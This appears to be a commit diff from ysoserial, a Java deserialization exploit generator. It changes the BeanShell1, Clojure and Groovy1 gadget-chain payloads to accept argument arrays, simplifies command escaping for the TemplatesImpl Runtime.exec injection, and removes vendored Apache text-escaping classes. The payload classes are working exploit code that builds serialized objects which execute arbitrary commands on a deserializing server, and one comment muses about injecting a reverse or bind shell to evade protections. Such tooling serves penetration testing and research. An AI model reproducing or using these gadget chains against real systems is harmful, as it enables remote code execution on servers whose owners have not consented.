simplified escaping, addl multarg support

src/main/java/ysoserial/Strings.java

@@ -50,6 +50,19 @@ public class Strings {
         }
         return lines;
     }
+    
+    public static String escapeJavaString(String str) {
+        return str.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); 
+    }
+    
+    public static String[] escapeJavaStrings(String[] strs) {
+        String[] res = new String[strs.length];
+        for (int i = 0; i < res.length; i++) {
+            res[i] = escapeJavaString(strs[i]);
+        }
+        return res;     
+    }
+    
 
     public static class ToStringComparator implements Comparator<Object> {
         public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }

src/main/java/ysoserial/payloads/BeanShell1.java

@@ -7,6 +7,7 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.Arrays;
 import java.util.Comparator;
+import java.util.List;
 import java.util.PriorityQueue;
 
 import ysoserial.Strings;
@@ -22,41 +23,41 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({ "org.beanshell:bsh:2.0b5" })
 @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
-public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
+public class BeanShell1 extends ExtendedObjectPayload<PriorityQueue> {
-
-    public PriorityQueue getObject(String command) throws Exception {
-	// BeanShell payload
 
+    public PriorityQueue getObject(String[] command) throws Exception {
+    	// BeanShell payload
+    
         String payload =
             "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                 Strings.join( // does not support spaces in quotes
-                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
+                    Arrays.asList(Strings.escapeJavaStrings(command)),
                     ",", "\"", "\"") +
                 "}).start();return new Integer(1);}";
-
+    
-	// Create Interpreter
+        	// Create Interpreter
-	Interpreter i = new Interpreter();
+        	Interpreter i = new Interpreter();
-
+        
-	// Evaluate payload
+        	// Evaluate payload
-	i.eval(payload);
+        	i.eval(payload);
-
+        
-	// Create InvocationHandler
+        	// Create InvocationHandler
-	XThis xt = new XThis(i.getNameSpace(), i);
+        	XThis xt = new XThis(i.getNameSpace(), i);
-	InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
+        	InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
-
+        
-	// Create Comparator Proxy
+        	// Create Comparator Proxy
-	Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
+        	Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
-
+        
-	// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
+        	// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
-	final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
+        	final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
-	Object[] queue = new Object[] {1,1};
+        	Object[] queue = new Object[] {1,1};
-	Reflections.setFieldValue(priorityQueue, "queue", queue);
+        	Reflections.setFieldValue(priorityQueue, "queue", queue);
-	Reflections.setFieldValue(priorityQueue, "size", 2);
+        	Reflections.setFieldValue(priorityQueue, "size", 2);
-
+        
-	return priorityQueue;
+        	return priorityQueue;
     }
 
     public static void main(final String[] args) throws Exception {
-	PayloadRunner.run(BeanShell1.class, args);
+        PayloadRunner.run(BeanShell1.class, args);
     }
 }

src/main/java/ysoserial/payloads/Clojure.java

@@ -26,23 +26,11 @@ import java.util.Map;
  */
 @Dependencies({"org.clojure:clojure:1.8.0"})
 @Authors({ Authors.JACKOFMOSTTRADES })
-public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
+public class Clojure extends ExtendedObjectPayload<Map<?, ?>> {
 
-	public Map<?, ?> getObject(final String command) throws Exception {
+	public Map<?, ?> getObject(final String[] command) throws Exception {
 
-//		final String[] execArgs = command.split(" ");
+        String cmd = Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), " ", "\"", "\"");
-//		final StringBuilder commandArgs = new StringBuilder();
-//		for (String arg : execArgs) {
-//			commandArgs.append("\" \"");
-//			commandArgs.append(arg);
-//		}
-//		commandArgs.append("\"");
-
-
-//		final String clojurePayload =
-//				String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
-
-        String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
 
         final String clojurePayload =
             String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
@@ -70,5 +58,4 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
 	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(Clojure.class, args);
 	}
-
 }

src/main/java/ysoserial/payloads/Groovy1.java

@@ -29,9 +29,9 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
 @Authors({ Authors.FROHOFF })
-public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
+public class Groovy1 extends ExtendedObjectPayload<InvocationHandler> {
 
-	public InvocationHandler getObject(final String command) throws Exception {
+	public InvocationHandler getObject(final String[] command) throws Exception {
 		final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
 
 		final Map map = Gadgets.createProxy(closure, Map.class);

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -9,6 +9,7 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Proxy;
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.LinkedList;
 import java.util.List;
@@ -18,7 +19,6 @@ import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
 import ysoserial.Strings;
-import ysoserial.translate.JavaEscaper;
 
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
@@ -117,11 +117,7 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        final List<String> escapedParams = new LinkedList<String>();
+        String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});";
-        for (String param : command) {
-               escapedParams.add("\"" + JavaEscaper.escapeJava(param) + "\"");
-        }
-        String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(escapedParams, ", ") + "});";
 
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)

src/main/java/ysoserial/payloads/util/PayloadRunner.java

@@ -1,5 +1,6 @@
 package ysoserial.payloads.util;
 
+import java.io.File;
 import java.util.concurrent.Callable;
 
 import ysoserial.Deserializer;
@@ -52,12 +53,12 @@ public class PayloadRunner {
     }
 
     private static String getFirstExistingFile(String ... files) {
-        return "calc.exe";
+//        return "calc.exe";
-//        for (String path : files) {
+        for (String path : files) {
-//            if (new File(path).exists()) {
+            if (new File(path).exists()) {
-//                return path;
+                return path;
-//            }
+            }
-//        }
+        }
-//        throw new UnsupportedOperationException("no known test executable");
+        throw new UnsupportedOperationException("no known test executable");
     }
 }

src/main/java/ysoserial/translate/AggregateTranslator.java

@@ -1,68 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package ysoserial.translate;
-
-import java.io.IOException;
-import java.io.Writer;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Executes a sequence of translators one after the other. Execution ends whenever
- * the first translator consumes codepoints from the input.
- *
- * @since 1.0
- */
-public class AggregateTranslator extends CharSequenceTranslator {
-
-    /**
-     * Translator list.
-     */
-    private final List<CharSequenceTranslator> translators = new ArrayList<CharSequenceTranslator>();
-
-    /**
-     * Specify the translators to be used at creation time.
-     *
-     * @param translators CharSequenceTranslator array to aggregate
-     */
-    public AggregateTranslator(final CharSequenceTranslator... translators) {
-        if (translators != null) {
-            for (CharSequenceTranslator translator : translators) {
-                if (translator != null) {
-                    this.translators.add(translator);
-                }
-            }
-        }
-    }
-
-    /**
-     * The first translator to consume codepoints from the input is the 'winner'.
-     * Execution stops with the number of consumed codepoints being returned.
-     * {@inheritDoc}
-     */
-    @Override
-    public int translate(final CharSequence input, final int index, final Writer out) throws IOException {
-        for (final CharSequenceTranslator translator : translators) {
-            final int consumed = translator.translate(input, index, out);
-            if (consumed != 0) {
-                return consumed;
-            }
-        }
-        return 0;
-    }
-
-}

src/main/java/ysoserial/translate/CharSequenceTranslator.java

@@ -1,138 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package ysoserial.translate;
-
-import java.io.IOException;
-import java.io.StringWriter;
-import java.io.Writer;
-import java.util.Locale;
-
-/**
- * An API for translating text.
- * Its core use is to escape and unescape text. Because escaping and unescaping
- * is completely contextual, the API does not present two separate signatures.
- *
- * @since 1.0
- */
-public abstract class CharSequenceTranslator {
-
-    /**
-     * Array containing the hexadecimal alphabet.
-     */
-    static final char[] HEX_DIGITS = new char[] {'0', '1', '2', '3',
-                                                 '4', '5', '6', '7',
-                                                 '8', '9', 'A', 'B',
-                                                 'C', 'D', 'E', 'F'};
-
-    /**
-     * Translate a set of codepoints, represented by an int index into a CharSequence,
-     * into another set of codepoints. The number of codepoints consumed must be returned,
-     * and the only IOExceptions thrown must be from interacting with the Writer so that
-     * the top level API may reliably ignore StringWriter IOExceptions.
-     *
-     * @param input CharSequence that is being translated
-     * @param index int representing the current point of translation
-     * @param out Writer to translate the text to
-     * @return int count of codepoints consumed
-     * @throws IOException if and only if the Writer produces an IOException
-     */
-    public abstract int translate(CharSequence input, int index, Writer out) throws IOException;
-
-    /**
-     * Helper for non-Writer usage.
-     * @param input CharSequence to be translated
-     * @return String output of translation
-     */
-    public final String translate(final CharSequence input) {
-        if (input == null) {
-            return null;
-        }
-        try {
-            final StringWriter writer = new StringWriter(input.length() * 2);
-            translate(input, writer);
-            return writer.toString();
-        } catch (final IOException ioe) {
-            // this should never ever happen while writing to a StringWriter
-            throw new RuntimeException(ioe);
-        }
-    }
-
-    /**
-     * Translate an input onto a Writer. This is intentionally final as its algorithm is
-     * tightly coupled with the abstract method of this class.
-     *
-     * @param input CharSequence that is being translated
-     * @param out Writer to translate the text to
-     * @throws IOException if and only if the Writer produces an IOException
-     */
-    public final void translate(final CharSequence input, final Writer out) throws IOException {
-        if (input == null) {
-            return;
-        }
-        int pos = 0;
-        final int len = input.length();
-        while (pos < len) {
-            final int consumed = translate(input, pos, out);
-            if (consumed == 0) {
-                // inlined implementation of Character.toChars(Character.codePointAt(input, pos))
-                // avoids allocating temp char arrays and duplicate checks
-                final char c1 = input.charAt(pos);
-                out.write(c1);
-                pos++;
-                if (Character.isHighSurrogate(c1) && pos < len) {
-                    final char c2 = input.charAt(pos);
-                    if (Character.isLowSurrogate(c2)) {
-                      out.write(c2);
-                      pos++;
-                    }
-                }
-                continue;
-            }
-            // contract with translators is that they have to understand codepoints
-            // and they just took care of a surrogate pair
-            for (int pt = 0; pt < consumed; pt++) {
-                pos += Character.charCount(Character.codePointAt(input, pos));
-            }
-        }
-    }
-
-    /**
-     * Helper method to create a merger of this translator with another set of
-     * translators. Useful in customizing the standard functionality.
-     *
-     * @param translators CharSequenceTranslator array of translators to merge with this one
-     * @return CharSequenceTranslator merging this translator with the others
-     */
-    public final CharSequenceTranslator with(final CharSequenceTranslator... translators) {
-        final CharSequenceTranslator[] newArray = new CharSequenceTranslator[translators.length + 1];
-        newArray[0] = this;
-        System.arraycopy(translators, 0, newArray, 1, translators.length);
-        return new AggregateTranslator(newArray);
-    }
-
-    /**
-     * <p>Returns an upper case hexadecimal <code>String</code> for the given
-     * character.</p>
-     *
-     * @param codepoint The codepoint to convert.
-     * @return An upper case hexadecimal <code>String</code>
-     */
-    public static String hex(final int codepoint) {
-        return Integer.toHexString(codepoint).toUpperCase(Locale.ENGLISH);
-    }
-
-}

src/main/java/ysoserial/translate/CodePointTranslator.java

@@ -1,51 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package ysoserial.translate;
-
-import java.io.IOException;
-import java.io.Writer;
-
-/**
- * Helper subclass to CharSequenceTranslator to allow for translations that
- * will replace up to one character at a time.
- *
- * @since 1.0
- */
-public abstract class CodePointTranslator extends CharSequenceTranslator {
-
-    /**
-     * Implementation of translate that maps onto the abstract translate(int, Writer) method.
-     * {@inheritDoc}
-     */
-    @Override
-    public final int translate(final CharSequence input, final int index, final Writer out) throws IOException {
-        final int codepoint = Character.codePointAt(input, index);
-        final boolean consumed = translate(codepoint, out);
-        return consumed ? 1 : 0;
-    }
-
-    /**
-     * Translate the specified codepoint into another.
-     *
-     * @param codepoint int character input to translate
-     * @param out Writer to optionally push the translated output to
-     * @return boolean as to whether translation occurred or not
-     * @throws IOException if and only if the Writer produces an IOException
-     */
-    public abstract boolean translate(int codepoint, Writer out) throws IOException;
-
-}

src/main/java/ysoserial/translate/JavaEscaper.java

@@ -1,33 +0,0 @@
-package ysoserial.translate;
-
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.Map;
-
-public class JavaEscaper {
-    public static final Map<CharSequence, CharSequence> JAVA_CTRL_CHARS_ESCAPE;
-    public static final CharSequenceTranslator ESCAPE_JAVA;
-
-    static {
-        Map<CharSequence, CharSequence> initialMap = new HashMap<CharSequence, CharSequence>();
-        initialMap.put("\b", "\\b");
-        initialMap.put("\n", "\\n");
-        initialMap.put("\t", "\\t");
-        initialMap.put("\f", "\\f");
-        initialMap.put("\r", "\\r");
-        JAVA_CTRL_CHARS_ESCAPE = Collections.unmodifiableMap(initialMap);
-    	
-        Map<CharSequence, CharSequence> escapeJavaMap = new HashMap<CharSequence, CharSequence>();
-        escapeJavaMap.put("\"", "\\\"");
-        escapeJavaMap.put("\\", "\\\\");
-        ESCAPE_JAVA = new AggregateTranslator(
-                new LookupTranslator(Collections.unmodifiableMap(escapeJavaMap)),
-                new LookupTranslator(JAVA_CTRL_CHARS_ESCAPE),
-                JavaUnicodeEscaper.outsideOf(32, 0x7f)
-        );
-    }
-    
-    public static final String escapeJava(final String input) {
-        return ESCAPE_JAVA.translate(input);
-    }
-}

src/main/java/ysoserial/translate/JavaUnicodeEscaper.java

@@ -1,113 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package ysoserial.translate;
-
-/**
- * Translates codepoints to their Unicode escaped value suitable for Java source.
- *
- * @since 1.0
- */
-public class JavaUnicodeEscaper extends UnicodeEscaper {
-
-    /**
-     * <p>
-     * Constructs a <code>JavaUnicodeEscaper</code> above the specified value (exclusive).
-     * </p>
-     *
-     * @param codepoint
-     *            above which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static JavaUnicodeEscaper above(final int codepoint) {
-        return outsideOf(0, codepoint);
-    }
-
-    /**
-     * <p>
-     * Constructs a <code>JavaUnicodeEscaper</code> below the specified value (exclusive).
-     * </p>
-     *
-     * @param codepoint
-     *            below which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static JavaUnicodeEscaper below(final int codepoint) {
-        return outsideOf(codepoint, Integer.MAX_VALUE);
-    }
-
-    /**
-     * <p>
-     * Constructs a <code>JavaUnicodeEscaper</code> between the specified values (inclusive).
-     * </p>
-     *
-     * @param codepointLow
-     *            above which to escape
-     * @param codepointHigh
-     *            below which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static JavaUnicodeEscaper between(final int codepointLow, final int codepointHigh) {
-        return new JavaUnicodeEscaper(codepointLow, codepointHigh, true);
-    }
-
-    /**
-     * <p>
-     * Constructs a <code>JavaUnicodeEscaper</code> outside of the specified values (exclusive).
-     * </p>
-     *
-     * @param codepointLow
-     *            below which to escape
-     * @param codepointHigh
-     *            above which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static JavaUnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) {
-        return new JavaUnicodeEscaper(codepointLow, codepointHigh, false);
-    }
-
-    /**
-     * <p>
-     * Constructs a <code>JavaUnicodeEscaper</code> for the specified range. This is the underlying method for the
-     * other constructors/builders. The <code>below</code> and <code>above</code> boundaries are inclusive when
-     * <code>between</code> is <code>true</code> and exclusive when it is <code>false</code>.
-     * </p>
-     *
-     * @param below
-     *            int value representing the lowest codepoint boundary
-     * @param above
-     *            int value representing the highest codepoint boundary
-     * @param between
-     *            whether to escape between the boundaries or outside them
-     */
-    public JavaUnicodeEscaper(final int below, final int above, final boolean between) {
-        super(below, above, between);
-    }
-
-    /**
-     * Converts the given codepoint to a hex string of the form {@code "\\uXXXX\\uXXXX"}.
-     *
-     * @param codepoint
-     *            a Unicode code point
-     * @return the hex string for the given codepoint
-     */
-    @Override
-    protected String toUtf16Escape(final int codepoint) {
-        final char[] surrogatePair = Character.toChars(codepoint);
-        return "\\u" + hex(surrogatePair[0]) + "\\u" + hex(surrogatePair[1]);
-    }
-
-}

src/main/java/ysoserial/translate/LookupTranslator.java

@@ -1,104 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package ysoserial.translate;
-
-import java.io.IOException;
-import java.io.Writer;
-import java.security.InvalidParameterException;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.Map;
-
-/**
- * Translates a value using a lookup table.
- *
- * @since 1.0
- */
-public class LookupTranslator extends CharSequenceTranslator {
-
-    /** The mapping to be used in translation. */
-    private final Map<String, String> lookupMap;
-    /** The first character of each key in the lookupMap. */
-    private final HashSet<Character> prefixSet;
-    /** The length of the shortest key in the lookupMap. */
-    private final int shortest;
-    /** The length of the longest key in the lookupMap. */
-    private final int longest;
-
-    /**
-     * Define the lookup table to be used in translation
-     *
-     * Note that, as of Lang 3.1 (the orgin of this code), the key to the lookup
-     * table is converted to a java.lang.String. This is because we need the key
-     * to support hashCode and equals(Object), allowing it to be the key for a
-     * HashMap. See LANG-882.
-     *
-     * @param lookupMap Map&lt;CharSequence, CharSequence&gt; table of translator
-     *                  mappings
-     */
-    public LookupTranslator(final Map<CharSequence, CharSequence> lookupMap) {
-        if (lookupMap == null) {
-            throw new InvalidParameterException("lookupMap cannot be null");
-        }
-        this.lookupMap = new HashMap<String, String>();
-        this.prefixSet = new HashSet<Character>();
-        int currentShortest = Integer.MAX_VALUE;
-        int currentLongest = 0;
-        Iterator<Map.Entry<CharSequence, CharSequence>> it = lookupMap.entrySet().iterator();
-
-        while (it.hasNext()) {
-            Map.Entry<CharSequence, CharSequence> pair = it.next();
-            this.lookupMap.put(pair.getKey().toString(), pair.getValue().toString());
-            this.prefixSet.add(pair.getKey().charAt(0));
-            final int sz = pair.getKey().length();
-            if (sz < currentShortest) {
-                currentShortest = sz;
-            }
-            if (sz > currentLongest) {
-                currentLongest = sz;
-            }
-        }
-        this.shortest = currentShortest;
-        this.longest = currentLongest;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int translate(final CharSequence input, final int index, final Writer out) throws IOException {
-        // check if translation exists for the input at position index
-        if (prefixSet.contains(input.charAt(index))) {
-            int max = longest;
-            if (index + longest > input.length()) {
-                max = input.length() - index;
-            }
-            // implement greedy algorithm by trying maximum match first
-            for (int i = max; i >= shortest; i--) {
-                final CharSequence subSeq = input.subSequence(index, index + i);
-                final String result = lookupMap.get(subSeq.toString());
-
-                if (result != null) {
-                    out.write(result);
-                    return i;
-                }
-            }
-        }
-        return 0;
-    }
-}

src/main/java/ysoserial/translate/UnicodeEscaper.java

@@ -1,140 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package ysoserial.translate;
-
-import java.io.IOException;
-import java.io.Writer;
-
-/**
- * Translates codepoints to their Unicode escaped value.
- *
- * @since 1.0
- */
-public class UnicodeEscaper extends CodePointTranslator {
-
-    /** int value representing the lowest codepoint boundary. */
-    private final int below;
-    /** int value representing the highest codepoint boundary. */
-    private final int above;
-    /** whether to escape between the boundaries or outside them. */
-    private final boolean between;
-
-    /**
-     * <p>Constructs a <code>UnicodeEscaper</code> for all characters.
-     * </p>
-     */
-    public UnicodeEscaper() {
-        this(0, Integer.MAX_VALUE, true);
-    }
-
-    /**
-     * <p>Constructs a <code>UnicodeEscaper</code> for the specified range. This is
-     * the underlying method for the other constructors/builders. The <code>below</code>
-     * and <code>above</code> boundaries are inclusive when <code>between</code> is
-     * <code>true</code> and exclusive when it is <code>false</code>. </p>
-     *
-     * @param below int value representing the lowest codepoint boundary
-     * @param above int value representing the highest codepoint boundary
-     * @param between whether to escape between the boundaries or outside them
-     */
-    protected UnicodeEscaper(final int below, final int above, final boolean between) {
-        this.below = below;
-        this.above = above;
-        this.between = between;
-    }
-
-    /**
-     * <p>Constructs a <code>UnicodeEscaper</code> below the specified value (exclusive). </p>
-     *
-     * @param codepoint below which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static UnicodeEscaper below(final int codepoint) {
-        return outsideOf(codepoint, Integer.MAX_VALUE);
-    }
-
-    /**
-     * <p>Constructs a <code>UnicodeEscaper</code> above the specified value (exclusive). </p>
-     *
-     * @param codepoint above which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static UnicodeEscaper above(final int codepoint) {
-        return outsideOf(0, codepoint);
-    }
-
-    /**
-     * <p>Constructs a <code>UnicodeEscaper</code> outside of the specified values (exclusive). </p>
-     *
-     * @param codepointLow below which to escape
-     * @param codepointHigh above which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static UnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) {
-        return new UnicodeEscaper(codepointLow, codepointHigh, false);
-    }
-
-    /**
-     * <p>Constructs a <code>UnicodeEscaper</code> between the specified values (inclusive). </p>
-     *
-     * @param codepointLow above which to escape
-     * @param codepointHigh below which to escape
-     * @return the newly created {@code UnicodeEscaper} instance
-     */
-    public static UnicodeEscaper between(final int codepointLow, final int codepointHigh) {
-        return new UnicodeEscaper(codepointLow, codepointHigh, true);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public boolean translate(final int codepoint, final Writer out) throws IOException {
-        if (between) {
-            if (codepoint < below || codepoint > above) {
-                return false;
-            }
-        } else {
-            if (codepoint >= below && codepoint <= above) {
-                return false;
-            }
-        }
-
-        if (codepoint > 0xffff) {
-            out.write(toUtf16Escape(codepoint));
-        } else {
-          out.write("\\u");
-          out.write(HEX_DIGITS[(codepoint >> 12) & 15]);
-          out.write(HEX_DIGITS[(codepoint >> 8) & 15]);
-          out.write(HEX_DIGITS[(codepoint >> 4) & 15]);
-          out.write(HEX_DIGITS[(codepoint) & 15]);
-        }
-        return true;
-    }
-
-    /**
-     * Converts the given codepoint to a hex string of the form {@code "\\uXXXX"}.
-     *
-     * @param codepoint
-     *            a Unicode code point
-     * @return the hex string for the given codepoint
-     *
-     */
-    protected String toUtf16Escape(final int codepoint) {
-        return "\\u" + hex(codepoint);
-    }
-}